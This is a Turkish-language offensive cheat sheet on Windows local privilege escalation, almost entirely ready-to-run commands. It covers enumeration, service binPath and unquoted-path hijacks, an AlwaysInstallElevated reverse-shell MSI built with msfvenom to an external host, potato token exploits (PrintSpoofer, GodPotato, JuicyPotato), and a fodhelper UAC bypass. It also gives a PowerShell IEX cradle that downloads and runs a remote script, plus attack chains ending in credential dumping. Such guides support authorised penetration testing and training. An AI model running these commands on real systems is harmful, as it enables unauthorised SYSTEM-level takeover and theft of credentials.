Windows Privilege Escalation
MITRE ATT&CK · T1068 phase: privilege-escalation
Windows local privilege escalation, standart kullanıcı (veya medium integrity admin) oturumundan local Administrators / SYSTEM’e çıkmaktır. Enumeration önceliklidir: WinPEAS / PowerUp bulgularını manuel doğrula, sonra tek vektörü stabilize et.
Ön koşullar
Section titled “Ön koşullar”- Interactive veya reverse shell (PowerShell / cmd)- Mümkünse: whoami /priv, sc, icacls, accesschk- Hedef: local admin veya SYSTEM tokenHızlı enumeration
Section titled “Hızlı enumeration”whoami; whoami /groups; whoami /privsysteminfohostname; net user; net localgroup administratorsnetstat -anoGet-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20Get-Service | Where-Object {$_.Status -eq 'Running'} | Format-Table -AutoSizeWinPEAS · run
embedded toolC:\Users\Public\winPEASx64.exe quiet cmd fastÇıktıyı dosyaya yönlendir; sarı/kırmızı satırları manuel doğrula.
WinPEAS · run
Section titled “WinPEAS · run”.\winPEASx64.exe quiet cmd fastpowershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks"Seatbelt.exe -group=systemServis zayıf ACL / binPath yazma
Section titled “Servis zayıf ACL / binPath yazma”Servis binary veya dizini yazılabilirse payload ile değiştirip servisi yeniden başlatmak (veya reboot beklemek) SYSTEM shell verir.
sc.exe qc VulnerableServiceicacls "C:\Program Files\Vulnerable App"accesschk.exe -uwcqv "Authenticated Users" *sc.exe config VulnerableService binPath= "C:\Users\Public\rev.exe"sc.exe stop VulnerableServicesc.exe start VulnerableServiceService registry ImagePath yazılabilirse aynı etki:
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnerableServiceUnquoted service path
Section titled “Unquoted service path”Boşluklu ve tırnaksız path:
C:\Program Files\Vulnerable App\service.exe→ C:\Program.exe→ C:\Program Files\Vulnerable.exewmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """Get-CimInstance Win32_Service | Where-Object { $_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | Select Name, PathNameYazılabilir ara dizin varsa oraya Program.exe / Vulnerable.exe bırak;
servis restart ile SYSTEM kod çalışır.
AlwaysInstallElevated
Section titled “AlwaysInstallElevated”Her iki anahtar da 1 ise MSI SYSTEM olarak kurulur.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o evil.msimsiexec /quiet /qn /i C:\Users\Public\evil.msiScheduled tasks & autorun
Section titled “Scheduled tasks & autorun”schtasks /query /fo LIST /vGet-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq 'Highest'} | Format-Table TaskName, TaskPathicacls C:\path\to\task\script.ps1Yazılabilir action + yüksek yetkili principal → payload değiştir. Startup klasörü / Run key’ler kullanıcı bağlamında kalır; admin Run key yazılabilirse farklı hikâye.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Rundir "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"Token privilege → potato ailesi
Section titled “Token privilege → potato ailesi”SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege (IIS, MSSQL,
servis hesapları) → SYSTEM impersonation.
whoami /privJuicyPotato / JuicyPotatoNG → eski Windows / CLSIDPrintSpoofer / PrintSpoofer.NET → Print SpoolerGodPotato / SharpEfsPotato → modern WindowsRoguePotato / SweetPotato → varyantlar.\PrintSpoofer.exe -i -c cmd.\GodPotato.exe -cmd "cmd /c whoami".\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\Public\out.txt" -t *Detaylı token/UAC: UAC & Tokens.
UAC bypass (özet)
Section titled “UAC bypass (özet)”Local admin ama medium integrity ise birçok araç kısıtlıdır. Auto-elevate binary + registry hijack (fodhelper, eventvwr, computerdefaults…) ile high IL mümkün olabilir. Bu, “standart kullanıcı → admin” değildir; zaten Administrators üyesisindir.
whoami /groups | findstr /i Level# fodhelper örneği — Command generator benzeri hijack (opsec dikkat)reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /fTam akış: uac-tokens.
Diğer sık vektörler
Section titled “Diğer sık vektörler”reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"cmdkey /listdir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\* 2>nulAutologon cleartext, Credential Manager, DLL hijack (yazılabilir PATH + eksik DLL) ve BYOVD ayrı sınıflardır — sürüm/izin dahilinde dene.
Metodoloji
Section titled “Metodoloji”-
whoami /priv+ WinPEAS / PowerUp çalıştır. -
Servis ACL, unquoted path, AlwaysInstallElevated, task yazma — doğrula.
-
SeImpersonate varsa potato / PrintSpoofer.
-
Medium IL admin ise UAC bypass → high IL.
-
SYSTEM sonrası Credential Dumping.
Saldırı zinciri
Section titled “Saldırı zinciri”WinPEAS → SERVICE_CHANGE_CONFIG → sc config binPath → SYSTEM → secretsdumpIIS SeImpersonate → PrintSpoofer → SYSTEM → PtHAlwaysInstallElevated=1 → msi payload → SYSTEM